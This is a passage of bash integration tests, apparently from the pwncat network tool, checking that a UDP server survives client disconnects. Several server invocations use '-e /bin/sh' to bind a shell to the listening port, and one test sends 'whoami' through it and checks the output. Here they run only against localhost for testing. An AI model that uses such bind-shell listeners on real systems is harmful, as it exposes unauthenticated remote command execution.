"${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/6) Transfer: Client -> Server" # [CLIENT -> SERVER] wait_for_data_transferred "" "${data}" "${data_or}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(4/6) Stop: Client" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(5/6) Test: Server stays alive" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(6/6) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "7" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "15" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "16" "16" "${curr_round}" "${RUNS}" done 103---udp---server_stays---when_client_is_killed---server_command---before_send.sh000077500000000000000000000175611414025024700420410ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/02-behaviour-quit--server#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" #local data= #local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### #data="abcdefghijklmnopqrstuvwxyz1234567890\\n" #data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/5) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/5) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(3/5) Stop: Client" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(4/5) Test: Server stays alive" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(5/5) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "7" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u " "${RHOST} ${RPORT} --no-shutdown -u " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "15" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u " "${RHOST} ${RPORT} --no-shutdown -u " "16" "16" "${curr_round}" "${RUNS}" done 104---udp---server_stays---when_client_is_killed---server_command---after_client_sends_command.sh000077500000000000000000000204031414025024700451050ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/02-behaviour-quit--server#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="whoami\\n" expect="$(whoami)\\n" expect_or="$(whoami)\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/6) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/6) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/6) Transfer: Client -> Server -> Client" # [CLIENT -> SERVER -> CLIENT] wait_for_data_transferred "" "${expect}" "${expect_or}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(4/6) Stop: Client" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(5/6) Test: Server stays alive" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(6/6) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "7" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u " "${RHOST} ${RPORT} --no-shutdown -u " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "15" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u " "${RHOST} ${RPORT} --no-shutdown -u " "16" "16" "${curr_round}" "${RUNS}" done 200---udp---server_reacc---when_client_is_killed---server_default---after_client_sent_data.sh000077500000000000000000000257461414025024700441710ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/02-behaviour-quit--server#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="abcdefghijklmnopqrstuvwxyz1234567890\\n" data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/10) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/10) Start: Client (round 1)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/10) Transfer: Client -> Server (round 1)" # [CLIENT -> SERVER] wait_for_data_transferred "" "${data}" "${data_or}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(4/10) Stop: Client (round 1)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(5/10) Test: Server stays alive (round 1)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(6/10) Start: Client (round 2)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(7/10) Transfer: Client -> Server (round 2)" # [CLIENT -> SERVER] wait_for_data_transferred "" "${data}${data}" "${data_or}${data_or}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(8/10) Stop: Client (round 2)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(9/10) Test: Server stays alive (round 2)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(10/10) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT 